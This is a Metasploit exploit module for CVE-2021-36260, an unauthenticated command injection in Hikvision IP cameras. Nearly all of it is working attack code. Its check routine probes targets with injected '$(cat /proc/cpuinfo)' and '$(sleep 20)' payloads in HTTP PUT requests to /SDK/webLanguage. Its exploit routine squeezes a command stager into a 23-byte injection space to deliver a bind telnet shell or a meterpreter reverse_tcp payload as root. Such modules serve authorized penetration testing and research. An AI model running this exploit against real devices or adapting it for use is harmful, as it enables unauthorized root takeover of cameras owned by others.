##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Hikvision IP Camera Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection in a variety of Hikvision IP
          cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an
          HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution
          as the `root` user.

          This module specifically attempts to exploit the blind variant of the attack. The module
          was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It
          was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.
          Please see the Hikvision advisory for a full list of affected products.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Watchful_IP', # Vulnerability discovery and disclosure
          'bashis', # Proof of concept
          'jbaines-r7' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-36260' ],
          [ 'URL', 'https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html'],
          [ 'URL', 'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/'],
          [ 'URL', 'https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py']
        ],
        'DisclosureDate' => '2021-09-18',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_ARMLE],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                # the target has very limited payload targets and a tight payload space.
                # bind_busybox_telnetd might be *the only* one.
                'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
                # saving four bytes of payload space by using 'sh' instead of '/bin/sh'
                'LOGIN_CMD' => 'sh',
                'Space' => 23
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_ARMLE],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'printf', 'echo' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 80,
          'SSL' => false,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  # Check will test two things:
  # 1. Is the endpoint a Hikvision camera?
  # 2. Does the endpoint respond as expected to exploitation? This module is
  #  specifically testing for the blind variant of this attack so we key off
  #  of the returned HTTP status code. The developer's test target responded
  #  to exploitation with a 500. Notes from bashis' exploit indicates that
  #  they saw targets respond with 200 as well, so we'll accept that also.
  def check
    # Hikvision landing page redirects to '/doc/page/login.asp' via JavaScript:
    # <script>
    # window.location.href = "/doc/page/login.asp?_" + (new Date()).getTime();
    # </script>
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/')
    })
    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200
    return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')

    payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
      'data' => payload
    })

    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)

    # Some cameras are not vulnerable and still respond 500. We can weed them out by making
    # the remote target sleep and use a low timeout. This might not be good for high latency targets
    # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all
    # 500 responses as vulnerable.
    payload = '<xml><language>$(sleep 20)</language></xml>'
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
      'data' => payload
    }, 10)

    return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res

    CheckCode::Safe('The target did not execute the provided sleep command.')
  end

  def execute_command(cmd, _opts = {})
    # The injection space is very small. The entire snprintf is 0x1f bytes and the
    # format string is:
    #
    # /dav/%s.tar.gz
    #
    # Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately,
    # snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for
    # our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes
    # for payload. The 'echo' stager has a minium of 26 bytes but we obviously don't
    # have that much space. We can steal the extra space from the "random" file name
    # and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra
    # bytes will also allow printf stager to do more than 1 byte per exploitation.
    cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, @fname)
    cmd = cmd.gsub(/ >/, '>')
    cmd = cmd.gsub(/> /, '>')

    payload = "<xml><language>$(#{cmd})</language></xml>"
    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),
      'data' => payload
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500)
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    # generate a random value for the tmp file name. See execute_command for details
    @fname = "tmp/#{Rex::Text.rand_text_alpha(1)}"

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # 26 is technically a lie. See `execute_command` for additional insight
      execute_cmdstager(linemax: 26)
    end
  end
end
